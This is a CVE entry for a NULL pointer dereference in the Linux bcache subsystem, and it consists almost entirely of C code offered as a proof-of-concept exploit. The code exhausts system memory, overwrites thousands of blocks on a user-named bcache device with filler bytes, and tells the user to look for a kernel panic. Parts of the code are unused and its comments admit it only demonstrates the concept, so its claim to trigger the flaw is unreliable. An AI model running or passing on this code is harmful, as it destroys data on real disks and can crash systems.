CVE-2023-53681 Linux内核bcache子系统NULL指针解引用漏洞

// CVE-2023-53681 PoC - Trigger NULL pointer dereference in bcache btree allocation // This PoC demonstrates how to trigger the vulnerability by stressing bcache // to cause memory allocation failure in __bch_btree_node_alloc #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/mount.h> // Note: This vulnerability requires kernel-level access to bcache device // The following demonstrates the concept of triggering btree split operations // under memory pressure to cause allocation failure #define BCACHE_IOCTL_RUN 1 int main(int argc, char *argv[]) { int fd; char bcache_dev[256]; if (argc < 2) { fprintf(stderr, "Usage: %s <bcache_device>\n", argv[0]); return 1; } snprintf(bcache_dev, sizeof(bcache_dev), "/dev/%s", argv[1]); fd = open(bcache_dev, O_RDWR); if (fd < 0) { perror("open"); return 1; } // Step 1: Create memory pressure to increase allocation failure chance // Allocate large amounts of memory to exhaust available memory size_t alloc_size = 1024 * 1024 * 1024; // 1GB chunks void **ptrs = malloc(sizeof(void*) * 64); int i; for (i = 0; i < 64; i++) { ptrs[i] = malloc(alloc_size); if (!ptrs[i]) break; memset(ptrs[i], 0, alloc_size); } // Step 2: Perform intensive I/O operations on bcache device // This triggers btree operations including splits char buf[4096]; memset(buf, 'A', sizeof(buf)); for (int j = 0; j < 10000; j++) { lseek(fd, j * 4096, SEEK_SET); write(fd, buf, sizeof(buf)); // Read back to trigger btree node operations lseek(fd, j * 4096, SEEK_SET); read(fd, buf, sizeof(buf)); } // Cleanup for (int k = 0; k < i; k++) { free(ptrs[k]); } free(ptrs); close(fd); printf("PoC execution completed. Check kernel logs for Oops/panic.\n"); return 0; }